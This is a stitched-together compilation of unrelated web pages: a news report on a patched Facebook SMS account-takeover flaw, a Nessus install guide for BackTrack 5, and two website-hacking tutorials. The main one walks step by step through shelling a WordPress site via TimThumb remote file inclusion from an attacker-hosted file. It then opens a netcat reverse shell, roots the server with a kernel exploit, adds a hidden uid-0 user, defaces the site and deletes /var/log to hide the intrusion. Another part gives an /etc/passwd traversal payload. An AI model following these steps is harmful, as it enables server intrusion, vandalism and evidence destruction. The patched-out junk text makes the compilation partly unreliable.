How to hack any Facebook account in under a minute, by sending just one SMS

Graham Cluley | June 28, 2013 8:28 am | Filed under: Facebook, Mobile, Privacy, Vulnerability | 22

If you're new here, you may want to subscribe to the RSS feed, like us on Facebook, or sign-up for the free email newsletter which contains computer security advice, news, hints and tips. Thanks for visiting!

A UK-based security researcher going by the name of “fin1te” has earned himself $20,000 after uncovering a way to hack into any account on Facebook, just by sending a mobile phone text message.
This should – obviously – have been impossible, but due to a weakness in Facebook’s tangled nest of millions and millions of lines in code, potentially hundreds of millions of accounts were vulnerable to hijacking through the simple technique.
Fin1te (real name Jack Whitten) has documented how the hack works on his blog.
The first thing to do is send the letter “F” in an SMS message to Facebook, as though you were legitimately registering your mobile phone with the social network. In the UK, the SMS shortcode for Facebook is 32665.
Send an SMS to Facebook

Facebook responds, via SMS, with an eight character confirmation code.
The normal sequence of events would be to enter that confirmation code into a Facebook form, and go on your merry way…

But fin1te discovered that a vulnerability existed on that form, that could be exploited to use the confirmation code he had been sent by Facebook via SMS with *anyone* else’s account.
What fin1te had uncovered was that one of the elements of the mobile activation form contained, as a parameter, the user’s profile ID. That’s the unique number associated with your intended target’s account.
Profile ID parameter inside form

Change the profile ID that is sent by that form to Facebook, and the social network might be duped into thinking you are someone else linking a mobile phone to their account.
Therefore, the first step needed to hijack someone’s account in this way requires your victim’s unique Facebook profile ID.
If you don’t know what someone’s numeric profile ID is, you can always look it up using freely-available tools – they aren’t supposed to be a secret.

Sure enough, fin1te was able to replace the profile ID parameter sent by his browser to Facebook with the unique number of the account he wanted to access…
Facebook hack data

.. and within seconds his his mobile phone was sent an SMS confirming that he had successfully connected the device to the account.
Facebook confirmation SMS

Success. A Facebook account now has a third-party’s mobile phone number associated with it. Without any need for malware or phishing. All that was done was to send an SMS text message.
The final stage of the account hijacking is straightforward. Facebook allows you to log into its system using your mobile number rather than an email address if you want, so at login you enter the mobile phone number you have associated with your victim’s account, and request a password reset via SMS.

Sure enough, fin1te discovered that Facebook duly sent him the password reset code for the account – meaning he could change the account’s password, and lock out its legitimate user.
This is an incredibly simple but powerful way to take over anybody’s Facebook account.
The good news is that fin1te disclosed the vulnerability responsibly to Facebook, rather than exploited it for malicious intentions or sold it to other parties. Facebook has fixed the problem so others can no longer take advantage of this serious security hole. For his troubles, Facebook awarded fin1te a hefty $20,000 worth of bug bounty and fixed the vulnerability.
But there’s no doubt that on the underground market, perhaps sold to cybercriminals or intelligence agencies, fin1te’s discovery could have earned him even more money.
Who knows what other serious security vulnerabilities may lay inside Facebook that haven’t been responsibly reported to the company’s security team?

How to Install Nessus on Backtrack 5 - Enable Nessus on Backtrack

Nessus 4.4.1 now comes pre-installed on BackTrack 5 and requires that the user activate the installation. Before you activate Nessus on your BackTrack 5installation, be certain you have installed Nessus either to the hard drive on the computer you plan to use or inside of a virtual machine that you plan to keep on the same host system. If you activate Nessus on a bootable USB thumb drive, DVD or avirtual machine and move it to a new host system, the Nessus activation code will no longer be valid. The Nessus activation ties itself to the physical system on which it is installed. If you do decide to move the virtual machine to a new system, or jump around to different systems using a bootable USB thumb drive or DVD, you will have to re-activate Nessus. If you are using a Nessus ProfessionalFeed, you are allowed to reset your activation by clearing the current connection between a host and anactivation code. By logging into the Tenable Customer Support Portal and going to "Activation Codes", you can reset the activation code-to-host pairing. ProfessionalFeed users are currently limited to one reset every 30 days. HomeFeed users will need to re-register Nessus when moving between physical hosts.

Install and activate Nessus on Backtrack 5r3

Step 1 - Obtaining An Activation Code

Once you have Nessus installed on BackTrack 5, you will need to obtain a Nessusactivation code. If you are using Nessus at home or wish to evaluate Nessus, you can register a HomeFeed. It’s important to note that the HomeFeed is limited to 16 IP addresses per scan (whereas the ProfessionalFeed allows you to scan an unlimited number of IP addresses). The ProfessionalFeed also gives you access to features such as Configuration and Sensitive Data Auditing, SCADA plugins, Nessus Technical Support and access to the Tenable Customer Portal.

Step 2 - Activating Nessus

Be certain that your BackTrack 5 installation has access to the Internet and activate Nessus using your newly obtained activation code as follows:

Activating Nessus

As shown above, this will also initially download the appropriate plugins based on which feed you've chosen.

Step 3 - Creating A User Account

Now you will create the initial user account that will be used to login to the Nessus Web Interface:

Adding User in Nessus

After you've entered a username, the nessus-adduser program asks you if the user account should have admin privileges or not. It is recommended that the initial user account have admin privileges so you can use the Nessus Web Interface to create subsequent accounts. The only difference between a Nessus admin user and a regular user is the ability to create user accounts.

Step 4 - Starting Nessus

Using the supplied startup script, start the Nessus server:

Starting Nessus on Backtrack

Step 5 - Accessing the Nessus Web Interface

Once Nessus has been initially started, it will begin to index and compile all of the plugins. This can take some time, depending on the speed of your system. If Nessus is still processing plugins, you may see the following screen when accessing the web interface:

Initializing Nessus

The web interface can be accessed with your browser by making an HTTPS connection to TCP port 8834 (e.g. https://localhost:8834/). If you are using a browser local to the BackTrack 5 distribution, such as the supplied version of Firefox, be certain that you enable Flash and JavaScript for this site (Flash is required to access the Nessus Web Interface, and JavaScript is required to view some of the reports). You can also access the Nessus Web Interface remotely by using the IP address assigned to BackTrack 5 (e.g. https://192.168.1.250:8834/).

Tutorial on Web Hacking by Akatzbreaker

Web-Hacking is a huge topic that I could easily discuss for hours.

When I had the idea to expand our Blog’s topics (not only Apple, iPhone, iPad, little tips on Mac and Windows etc….) and add more hacking information, tutorials etc….
So, today I decided to make a good start by creating this post-tutorial: How to Hack a Server
Everything you need to know….

Tools you need:

- Backtrack (Backtrack Website)
- Firefox (get it from here….) – Included in Backtrack and Ubuntu
- Netcat (Included in Backtrack) — If you are on other linux enviroments get it from here….
- iCon2PHP (Get it from here….)
- A good shell (iCon2PHP Archive includes three great shells)
- A good VPN or Tor (More explanation below…..)
- Acunentix Web Vulnerability Scanner (Search for a cracked version at Hackforums.net)

About the Tools:

Backtrack
– Backtrack is a Linux distribution based on Ubuntu. It includes everything you need to become a good hacker. Apart from this, hacking behind a Linux system is better than a Windows one since most Websites are on Linux Servers.
(Just a little tip: To wirelessly connect to a network use the Wicd Network Manager, located under the Applications->Internet)
Firefox
– Firefox is the best browser for hacking. You can easily configure a proxy and you can download millions of add-ons among which you can find some for Hacking. Find more about “Hacky” addons for Firefox Here….
Netcat
– Netcat is a powerful networking tool. You will need this to root the server….
iCon2PHP & Good Shells
– iCon2PHP is a tool I created and you will use it if you upload the image to an Image Uploader at a Forum or Image Hosting Service. iCon2PHP Archive contains some of the top shells available.
Good VPN or TOR (Proxies are good too…)
– While hacking you need to be anonymous so as not to find you (even if you forget to delete the logs….). A VPN stands for Virtual Private Network and what it does is: hiding your IP, encrypting the data you send and receive to and from the Internet. A good VPN solution for Windows Maschines is ProXPN. However, with VPN connections (especially when you are under a free VPN connection) your connection speen is really slow. So, I wouldn’t recommend VPN except if you pay and get a paid account.
What I would recommend is Tor. Tor can be used from its bundle: Vidalia, which is a great tool for Windows, Mac and Linux that uses Proxies all over its network around the world so as to keep you anonymous and changing these Proxies every 5-10 minutes. I believe it is among the best solutions to keep you anonymous if you don’t want to pay for a Paid VPN account
Apart from Tor, simple Proxies are good but I wouldn’t recommend them as much as I would for Tor.
— If I listed the above options according to their reliability :
1. Paid VPN Account at ProXPN
2. Tor
3. Free VPN Account at ProXPN
4. Proxy Connection
Acunetix Web Vulnerability Scanner
– Acunetix is (maybe the best) Vulnerability Scanner. It scans for open ports, vulnerabilities, directory listing. During the scan it lists the vulnerabilities and says how a hacker can exploit it and how to patch it. It also shows if it is a small or big vulnerability.
The Consultant Edition (For unlimited websites) costs about 3000-7000$.

____________________________________________________________

Starting the Main Tutorial:

So, here is the route we will follow:
Find a Vulnerable Website –> Upload a c100 Shell (Hidden in an Image with iCon2PHP) –> Rooting the Server –> Defacing the Website –> Covering your Tracks

- – - Before we begin – - -

-Boot to Backtrack
-Connect to your VPN or to Tor.
-It would be good to read a complete guide to stay anonymous while hacking here…
-Open Firefox.

1. Finding a Vulnerable Website and Information about it:

Crack Acunetix (find tutorial at Hackforums.net). Open and scan the website (use the standard profile – don’t modify anything except if you know what you are doing). For this tutorial our website will be: http://www.site.com (not very innovative, I know….)
Let’s say we find a vulnerability where we can upload a remote file (our shell) and have access to the website’s files.

The Warning should be something like this. It can mention other information or be a completely other warning (like for SQL Injection – I will post a Tutorial on this also…), too! (Depends on the Vulnerability) What we need at this tutorial is that we can exploit the ‘File Inclusion Attack’ and Have access to the Website’s Files. (This is not the warning we need for this tutorial, but it is related to what we do too.)

OK. Now, we have the site and the path that the vulnerability is. In our example let’s say it is here:
http://www.site.com/blog/wp-content/themes/theme_name/thumb.php
The above vulnerability affects WordPress blogs that have installed certain plugins or themes and haven’t updated to the latest version of TimThumb, which is a image-editing service on websites.
OK. Acunetix should also mention the OS of the Server. Assuming that ours is a Unix/Linux system (so as to show you how to root it).
For now, we don’t need anything more from Acunetix.

2. Uploading the shell:

Till now, we know:

-The website’s blog has a huge vulnerability at TimThumb.
-It is hosted on a Unix System.
Next, because of the fact that the Vulnerability is located at an outdated TimThumb version, and timthumb is a service to edit images, we need to upload the shell instead of the image.
Thus, download any image (I would recommend a small one) from Google Images. We don’t care what it shows.

Generate Output with iCon2PHP

Copy your Image and your Shell to the Folder that iCon2PHP is located.
Run the Program and follow the in-program instructions to build the ‘finalImage.php’.
To avoid any errors while uploading rename the ‘finalImage.php’ to ‘image.php;.png’ (instead of png, type the image format your image was – jpeg,jpg,gif….) This is the exactly same file but it confuses the uploader and thinks that it actually is an image.

iCon2PHP Terminal Output:
[...]
Enter the Path of your Image: image.png
Please enter the path to the PHP: GnYshell.php
Entered!
Valid Files!
[...]
File: ‘finalImage.php’ has been successfully created at the Current Directory…

Upload Output to a Server:

Next, upload your ‘image.php;.png’ at a free server. (000webhost, 0fees etc….)
Go to the vulnerability and type at the URL:
http://www.site.com/blog/wp-content/themes/theme_name/thumb.php?src=http://flickr.com.domain.0fees.net/image.php;.png
It would be better to create a subdomain like “flickr.com” (or other big image-hosting service) because sometimes it doesn’t accept images from other websites.

Website…. Shelled!

OK. Your website is shelled. This means that you should now have your shell uploaded and ready to root the server.
You could easily deface the website now but it would be better if you first rooted the server, so as to cover your tracks quickly.

3. Root the Server:

Now that you have shelled your website we can start the proccess to root the server.

What is rooting when it comes for Server Hacking?
—> Rooting a server is the proccedure when the hacker acquires root priviliges at the whole server. If you don’t understand this yet, I reasure you that by the end of the section “Rooting a server” you will have understood exactly what it is…

Let’s procceed to rooting….
Connect via netcat:
1. Open a port at your router. For this tutorial I will be using 402. (Search Google on how to port forward. It is easier than it seems….)
2. Open Terminal.
3. Type:

netcat

4. Now type:

-l -n -v -p 402

5.It should have an output like this:

listening on [any] 402 port

6. Now, go to the Back-Connection function at the Shell.
7. Complete with the following:

Host:YouIPAddress Port: 402 (or the port you forwarded….)

8. Hit connect and… Voila! Connected to the server!
Downloading and Executing the Kernel exploit:
1. Now, if you type:

whoami

you will see that you are not root yet…
2. To do so we have to download a kernel exploit. The kernel version is mentioned at your shell. Find kernel exploits here….
3. Download it to your HDD and then upload it to the server via the Shell. Unzip first, if zipped….
4. Now do the following exploit preparations:

– The most usual types of exploits:
+++ Perl (.pl extension)
+++ C (.c extension)
(( If the program is in C you have first to compile it by typing: gcc exploit.c -o exploit ))
– Change the permissions of the exploit:
chmod 777 exploit

5. Execute the exploit. Type:

./exploit

6. Root permissions acquired! Type this to ensure:

id

whoami

7. Add a new root user:

adduser -u 0 -o -g 0 -G 1,2,3,4,6,10 -M root1
where root1 is your desired username

8. Change the password of the new root user:

passwd root1

SUCCESSFULLY ROOTED!

4. Deface the Website:

What is defacing?
Defacing is the proccedure when the hacker uploads his own inbox webpage to alter the homepage of a site. In this way, he can boost his reputation or parse a message to the people or the company (which owns the website…).

Since you got the website shelled, you just create a nice hacky page in html and upload it via the Shell as inbox.html (Delete or rename the website’s one…)

5. Cover your tracks:

Till now you were under the anonymity of Tor or ProXPN. You were very safe. However, in order to ensure that it will be impossible for the admin to locate you we have to delete logs.
First of all, Unix based-Maschines have some logs that you have better to either edit or delete.
Common Linux log files name and their usage:

/var/log/message: General message and system related stuff
/var/log/auth.log: Authenication logs
/var/log/kern.log: Kernel logs
/var/log/cron.log: Crond logs (cron job)
/var/log/maillog: Mail server logs
/var/log/qmail/ : Qmail log directory (more files inside this directory)
/var/log/httpd/: Apache access and error logs directory
/var/log/lighttpd: Lighttpd access and error logs directory
/var/log/boot.log : System boot log
/var/log/mysqld.log: MySQL database server log file
/var/log/secure: Authentication log
/var/log/utmp or /var/log/wtmp : Login records file
/var/log/yum.log: Yum log files

In short /var/log is the location where you should find all Linux logs file.
To delete all of them by once type:

su root1
rm -rf /var/log
mkdir /var/log

End of this Tutorial:

This was a great tutorial on Web-Hacking. I reasure you that more hacking tutorials are coming.
Great community about hacking at Hackforums.net

6 Ways to Hack or deface Websites Online

Hello friends , today i will explain all the methods that are being used to hack a website or websites database. This is the first part of the hacking websites tutorial where i will explain in brief all methods for hacking or defacing websites. Today I will give you the overview and in later tutorials we will discuss them one by one with practical examples. So guys get ready for first part of Hacking websites class.... Don't worry i will also tell you how to protect your websites from these attacks and other methods like hardening of SQL and hardening of web servers and key knowledge about CHMOD rights that what thing should be give what rights...

Note : This post is only for Educational Purpose only.

What are basic things you should know before website hacking?

First of all everything is optional as i will start from very scratch. But you need atleast basic knowledge of following things..

1. Basics of HTML, SQL, PHP.

2. Basic knowledge of Javascript.

3. Basic knowledge of servers that how servers work.

4. And most important expertize in removing traces otherwise u have to suffer consequences.

Now First two things you can learn from a very famous website for basics of Website design with basics of HTML,SQL,PHP and javascript.

http://www.w3schools.com/

And for the fourth point that you should be expert in removing traces. I will explain this in my future articles. So keep reading.. or simply subscribe my posts..

As we know traces are very important. Please don't ignore them otherwise you can be in big trouble for simply doing nothing. so please take care of this step.

METHODS OF HACKING WEBSITE:

1. SQL INJECTION

2. CROSS SITE SCRIPTING

3. REMOTE FILE INCLUSION

4. LOCAL FILE INCLUSION

5. DDOS ATTACK

6. EXPLOITING VULNERABILITY.

1. SQL INJECTION

First of all what is SQL injection? SQL injection is a type of security exploit or loophole in which a attacker "injects" SQL code through a web form or manipulate the URL's based on SQL parameters. It exploits web applications that use client supplied SQL queries.
The primary form of SQL injection consists of direct insertion of code into user-input variables that are concatenated with SQL commands and executed. A less direct attack injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL command, the malicious code is executed.

2. CROSS SITE SCRIPTING

Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causes the application to do something it wasn’t intended to do. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL.Some website features commonly vulnerable to XSS attacks are:
• Search Engines
• Login Forms
• Comment Fields

Cross-site scripting holes are web application vulnerabilities that allow attackers to bypass client-side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.

I will explain this in detail in later hacking classes. So keep reading..

3. REMOTE FILE INCLUSION
Remote file inclusion is the most often found vulnerability on the website.
Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local
exploits to escalate his privileges and take over the whole system.
RFI can lead to following serious things on website :

Hello Friends
Friends
Download Software
Windows 7

Code execution on the web server
Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
Denial of Service (DoS)
Data Theft/Manipulation

4. LOCAL FILE INCLUSION
Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s.
Let’s say a hacker found a vulnerable site, www.target-site.com/index.php?p=about, by means of directory transversal he would try to browse to the /etc/passwd file:

www.target-site.com/index.php?p= ../../../../../../../etc/passwd

I will explain it in detail with practical websites example in latter sequential classes on Website Hacking.

5. DDOS ATTACK

Simply called distributed denial of service attack. A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. In DDOS attack we consumes the bandwidth and resources of any website and make it unavailable to its legitimate users.

6.EXPLOTING VULNERABILITY

Its not a new category it comprises of above five categories but i mentioned it separately because there are several exploits which cannot be covered in the above five categories. So i will explain them individually with examples. The basic idea behind this is that find the vulnerability in the website and exploit it to get the admin or moderator privileges so that you can manipulate the things easily.

GOOD LUCK

Because they NOT TRY ME THIS WAY :d :)) :) ^_^
